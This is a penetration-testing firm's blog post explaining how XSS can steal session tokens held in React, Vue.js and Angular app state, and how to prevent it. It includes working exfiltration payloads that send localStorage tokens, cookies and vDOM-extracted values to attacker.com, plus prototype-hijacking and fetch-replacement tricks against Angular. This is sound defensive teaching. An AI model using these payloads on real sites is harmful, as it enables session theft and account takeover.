XSS: Beyond alerts? Stored session theft with a JavaScript framework

FabienLe 14 novembre 2025

Introduction

JavaScripts frameworks store data in your browser's DOM. If the session token is not in your cookies, nor in the webStorage (localStorage, sessionStorage), it is probably stored in a global context of the frontend framework used. Some of these frameworks make these contexts accessible in the page DOM, others do not.

This script allows you to search the page's DOM using a regular expression to verify it. At the time of writing, React and Vue.js are concerned. Angular, on the other hand, is not.

What are JavaScript frameworks?

Encountered in 99% of our web application penetration tests, the use of JavaScript frameworks for website development has been the norm for several years now, and rightly so.
Modern JavaScript frameworks enable applications to be built using an architecture based on reusable components, favoring modularity and code maintainability.
They also integrate application routing systems, enabling client-side navigation without the need to reload the entire page.
These frameworks offer advanced _BOLD state management mechanisms, essential for dynamically tracking and updating values such as a counter or user status.
Their rendering engine is optimized to automatically detect changes in the DOM and apply only the necessary modifications, thus improving performance.
Finally, they facilitate the integration of commonly used external components, such as WebSocket connections, theme managers or third-party UI libraries.

For example, the application below is developed in React, with each visible and separate (or almost separate) element being a distinct component in the code. Each component in turn uses other components to achieve the result shown below.

application React Pollenisator


The main JavaScript frameworks used are React, Angular and Vue.js according to the State of JavaScript 2024 report.

Front end framework


Each of these frameworks has its own advantages and disadvantages, and each developer will have his or her own point of view. Some feel that Vue.js is quick to get to grips with, but doesn't enable as many things as another like Angular, which is harder to get to grips with but ultimately enables a lot. React is currently the most popular because it would be a good intermediary between these two candidates for most web applications.

A simple application developed in React looks like this:

Générateur aléatoire


The App component is declared, and if we unpack it from top to bottom we have:

  1. imports from external libraries, including React;
  2. an App function that declares the entire component displayed on the right.

In the App function, we have:

  1. first, a state named randomId is declared;
  2. then a function to generate a value to assign to this state;
  3. a hidden function to send this ID to an external API;
  4. the return of the function that uses React's built-in JSX template language to display the various values on the page and manage events such as the click on a button.

XSS for dummies

A XSS (Cross-Site Scripting) flaw is a error in a website that allows a hacker to inject malicious JavaScript code.

This code will in the visitor's browser as if it were "official" code from the site. A basic example might be a blog with an area for leaving a comment. Instead of a nice message, an attacker writes this:

<script>alert("Hacked!")</script>

If the site doesn't filter and encode this content, then everyone reading this comment will see an alert appear. This isn't dangerous in itself... but it does prove that the code is being executed in the browser context of other site visitors. The injected code can then attempt to steal another user's _BOLD2 session token and thus use their account!

Today, we're looking at session token theft, but how does it work?

At present, session tokens can be stored in three different locations.

Browser storage:

  • Advantage: Browser storage is easy to use localStorage.getItem("session");
  • Disadvantage : No protection for data stored here

Cookies (recommended by AlgoSecure):

  • Advantage: Important cookies (such as session cookies) can be protected by the browser if they are properly configured (HttpOnly, Secure, Same-Site).
  • Disadvantage: Cookies protected by HttpOnly are not accessible from the JavaScript code, which is good for their security, but not for developers. External APIs or applications don't always allow connection via a Cookie, so the application sometimes has to send this token in HTTP headers.

In memory / JavaScript context:

  • Advantage: Simple to implement, JavaScripts frameworks offer contexts shared by several components to store this type of data.
  • Disadvantage : The data stored in this case is lost each time the page is refreshed. But is it accessible to an attacker who has detected an XSS flaw in an application?

The debate about the right choice is as lively as the famous pain au chocolat vs. chocolatine, or almost. A lot of information, not always true or complete, is circulating on the subject.

Exemple d'erreur commune


Several sites claim that it will be difficult for an attacker to steal a session token stored in the application's memory. In fact, very little documentation exists on this subject, and this article is here to help :) !

But how does an attacker steal the session token?

In the case of localStorage, an attacker with an XSS flaw could inject the following code:

<img src=x onerror="fetch('https://attacker.com/'+localStorage.getItem('session'))">

Once this image tag is displayed, the browser detects that the source "x" indicated does not exist, and the function defined in the "onerror" attribute is triggered. The effect of the code is to make an HTTPS request to the site attacker.com/\<The user's session token!>.

The attacker controlling attacker.com will just have to read the access attempts to his site to retrieve the trapped users' session tokens.

The same concept can be applied to cookie theft:

<img src=x onerror="fetch('https://attacker.com/'+document.cookie)">

The biggest difference is that cookies protected by the HttpOnly flag will not appear here ! They can't be stolen and an attacker won't be able to read them easily.

But how can you steal a session token stored in a JavaScript context? JavaScript variables are referred to as "scoped" and are therefore not directly readable via the browser console, for example. Several methods are possible.

Exploiting XSS in JavaScript frameworks

The three most widely used frameworks today are :

  1. React, maintained by Meta, uses JSX, a hybrid JavaScript/HTML syntax.
  2. Vue.js is renowned for its simplicity and gentle learning curve.
  3. Angular focuses on robustness and security with a complete architecture.

All three JavaScript frameworks automatically escape user input to prevent XSS attacks. However, developers sometimes wish to inject HTML code and display it as is in certain components.

The most frequent case is a page or comment editor, for example. In this case, if a developer wants to display the HTML code as it was written, the JavaScript framework usually provides a way of doing so by bypassing the protections.

  • Vue.js integrates the notion of "v-html" for this purpose
  • React gives access to the dangerouslySetInnerHTML function which, as its name suggests, is dangerous to use.
  • Angular means that data is "trusted" and will not be cleaned via DomSanitizer.bypassSecurityTrustHtml.

Vue.js

Let's take a look at how to steal a session token in the case of Vue.js. By default, Vue.js encodes user data, but there are several ways around this that can lead to XSS vulnerabilities.

The image below comes from the Vue.js documentation and explains the automatic mitigations and risks still possible.

Mitigation vue.js


To find out how states and contexts are stored in Vue.js, I took a look at its code, which is open-source. The following lines give an indication of the location of the data included in the various components.

app root


Note, for example, the keywords app._instance and app._vnode. The term vnode refers to a concept known as Virtual DOM or VDOM for short. It's a copy in memory (hence virtual) of the page's real HTML structure. It is used by frameworks such as React, Vue, or Angular to improve performance.

This VDOM can be accessed via the developer tool extension for Vue.js if the site is not in production. The image below shows an example of a Vue.js site that retains a session token named randomId in a global application context. This randomId token is clearly readable through this development tool.

Exemple de site Vue.js


But if the site is in production, can we still access it? Well, much to my surprise, yes! By deactivating this site's development mode, the same data can be accessed via the page's Virtual DOM, which is actually stored in the page's DOM attributes, and more specifically in the div tag, which encompasses the entire application, as shown in the following image.

vDom et Dom


The randomId value is then directly accessible via an XSS, which executes the following code:

var session = document.getElementById("app")._vnode.component.setupState.randomId;
fetch('https://attacker.com/'+session);

React

Like Vue.js, React encodes user input by default and prevents XSS. However, an attacker can still exploit certain vulnerable use cases:

Mitigation React


For React, there are some excellent resources available on the Internet for understanding its inner workings. After much searching, I found this excellent site (thanks to Bogdan Lyanshenko) which explains in detail everything you need to know about React, as well as these notes (thanks to 0xdevalias) which explains how React's vDOM works.

Explication Dom et vDom


With these explanations, the method for exploiting React is in fact similar to that of Vue.js, simply by reading the right attributes in the DOM to retrieve the states hidden in the displayed page. An attacker's malicious comment might then look something like this:

let _el = document.getElementById("root");  
el.__reactContainer$v92n2lyjzc.stateNode.current.child.child.child.child.memoizedProps.value;

The desired value can be read by traversing the vDOM elements with numerous calls to .child until the desired property is reached.

Automation

Before moving on to Angular, please note that this process can be automated. A JavaScript script is available for this purpose on our GitHub https://github.com/AlgoSecure/vDOM-Session-stealer. This script is largely inspired by this one https://gist.github.com/stracker-phil/e5b3bbd5d5eb4ffb2acdcda90d8bd04f with a few minor modifications. It automatically searches the page DOM recursively and returns the results found. If the application exposes its secrets in the page's vDOM (as seen for React and Vue.Js), this script can find them.

Angular

Angular takes a different approach from the previous two. By default, it treats all the values it displays as unreliable. All unreliable data is cleaned up and escaped by Angular.

For example, the following code cleans up the text given by the user and removes the script tag and its content when displayed.

Exemple Angular


Angular does, however, offer functions to indicate that a variable is reliable and should not be modified.

  • bypassSecurityTrustHtml
  • bypassSecurityTrustScript
  • bypassSecurityTrustStyle
  • bypassSecurityTrustUrl
  • bypassSecurityTrustResourceUrl

Confident of the success of the two previous attempts, I launched the script developed to search for the value of my session token in the DOM of the Angular application I was testing. Surprise! No results found.

Résultat du script


To find out more, I analyzed the open source code of Angular's development tools to try and understand how they manage to display component states. The code provides some answers:

Code open source des outils de développement Angular


An __ngContext__ property seems to exist! However, after checking recent versions of Angular, this variable is set to 0 in production, but contains the precious information in development.

Exemple production et local


However, this exit on the Angular github seems to indicate that on older Angular versions, this variable was populated even in production.

In development mode, the ng special object contains functions to enable us to do this easily:

Les fonctions de ng


The next step was to understand how these debug functions work, to see if they could help us read the state values stored by Angular.

Angular's inner workings

The blog of 0xdevalias gives us a few things to start looking for. First, we note that Angular's development mode detection function actually checks for the presence of the this.ng variable.

Détail du mode développement Angular


This track cannot be used for production.

Displaying Angular components

The Angular display engine uses several data structures to display a page. The two main ones are Logical View (LView) and Template View (TView).

The TView stores static component data and is created only once at the start of the component's lifecycle. It can contain metadata that does not change during the life of the component.

The LView contains the dynamic parts for each component instance. It is therefore the LViews that contain the session token variables.

Angular: the only one to use scoped variables

The problem is that JavaScript's global context contains no direct references to Angular objects, and even less to its internal components when the application is in production.

Let's see how Angular manages to retrieve a state by debugging the following basic application:

Angular récuperation d'un état partie 1


Angular récuperation d'un état partie 2


The function assigns the value of the session token to the component via the this keyword. So it's a scoped variable that we're going to have to try and find. My aim for the rest of the project was to find available variables or functions, notably in the vDOM, in order to obtain a reference to "this".

So I set a breakpoint on the onClick function associated with the "Generate and Send Id" button and observed the execution stack.

Pile d'execution


In the call stack, there are numerous calls to internal Angular functions for invoking an "invokeTask" task, and so on. After searching the page vDOM, among all the functions present in the stack on the left, the decoratePreventDefault function is referenced by a callback in one of the vDOM attributes named __zone_symbol_clickfalse. This is our best chance of accessing the target variable.

__zone_symbol_clickfalse


In the test application, it looks like this:

Détail dans l'application de test


Note the special condition: if the event is equal to the string "__ngUnwrap__", the function in charge of the event is returned directly.

__ngUnwrap__


We get a reference to the wrapListenerIn_markDirtyAndPreventDefault function, which looks like this:

Détails de wrapListener


It's important to note here that the function accessed is not wrapListener but the function it returns. The values tNode, lView and context are passed as parameters to the parent function and can therefore be accessed by the child function. However, these parameters come from the bowels of the calls to the Angular machinery and are not accessible to us. Among the elements of this function, the only one we can retrieve is the listenerFn, which is returned when the event value is the special value "Function".

listenerFn


We're no closer to directly reading the value of the session token, but now we have several strings to our bow, we can :

  • Call directly AppComponent_Template_button_click_5_Listener (you can get a reference to this function)
  • Call wrapListenerIn_markDirty... directly (you can get a reference to this function)
  • Replace or call decoratePreventDefault (you can call this function directly and also replace it).

But none of these methods directly retrieve a reference to LViews or context.

Exploiting edge effects

So reading the information directly was not a success for me. Fortunately, there are other methods that are less clean than reading alone, but which can still get the job done.

Interact with the page

It is still possible to use an XSS to interact with the victim's browser. For example, you can always call the AppComponent_Template_button_click_5_Listener() function directly, or even retrieve a reference to a button via document.getElementByID('button').click().

Key call interception

It is always possible to modify the Function object prototype to create a kind of debugger within our XSS to extract and exfiltrate the relevant data: The following code traces calls to the __apply__ function, which is used within Angular to call event functions.

var orig = Function.__proto__.apply; // stock la fonction apply pour restauration
Function.__proto__.apply = function(){
    console.log(this, arguments); // log la fonction et ses arguments
    orig.call(this, ...arguments);  // appelle de la fonction apply sans utiliser apply pour éviter une récursion.
}
Trace des appels à la fonction __apply__


Replace functions

The fetch function is an excellent candidate for replacement as it is used to make calls to external APIs. It is called either directly via fetch(URL), or via the axios library, which uses it in the background.

The following code replaces the fetch function with a function of our choice (here console.log) and then uses the concepts mentioned above to make a call to a targeted function that we know will send the session token.

var orig = fetch
fetch = console.log
document.body.childNodes[1].childNodes[1].childNodes[0].childNodes[2].__zone_symbol__clickfalse[0].callback("__ngUnwrap__")(Function)()
fetch = orig
Récupération du jeton de session


Conclusion

Some JavaScript frameworks make the task easier by providing access to their internal elements in the overall context of the page via their Virtual DOM. Others, such as Angular, don't offer this facility.

However, there are several techniques that can be used to recover a session token, even if it is correctly isolated within a JavaScript module. An attacker with an XSS vulnerability who can execute the scripts of his choice can modify JavaScript's operation by replacing global functions or internal JavaScript prototypes.

The Authorization: Bearer + JWT header authentication model is not the most suitable for security purposes. If this is the only authentication method allowed, the lifetime of the session token must be very short, and it must be renewed regularly via a longer-lasting session cookie, which will itself be protected.

Remediation

The key to avoiding Stored Session Theft with a JavaScript framework :

  • STORE SECRETS ONLY IN PROTECTED COOKIES
  • REQUEST 2FA FOR VERY SENSITIVE ACTIONS: To prevent an attacker from manipulating the user's browser and making him do what he wants without proving his identity.
  • Implement a restrictive Content-Security-Policy. A very good article on this subject is available on this blog here
  • Perform static code analysis : can detect Client Side Template Injection, use of insecure functions etc.
  • DOM Purify : If using unreliable HTML is really necessary (watch out for mXSS)
  • Training developers: JavaScript frameworks and the Web are evolving fast, and developers are struggling to keep up.
  • Training in the use of LLM : ChatGPT, copilot and other AIs do not, by default, take into account the security of the developments they produce. Training to express the need for security can be envisaged.
  • Browser storage is simple use localStorage.getItem("session");
    • No protection for data stored here
  • Important cookies (such as session cookies) can be protected by the browser if they are properly configured (HttpOnly, Secure, Same-Site).
    • Cookies protected by HttpOnly are not accessible from the JavaScript code, which is good for their security, but not for developers. External APIs or applications don't always allow connection via a Cookie, so the application sometimes has to send this token in HTTP headers.
  • Easy to implement, JavaScripts frameworks offer contexts shared by several components to store this type of data.

You've enabled "Do Not Track" in your browser, we respect that choice and don't track your visit on our website.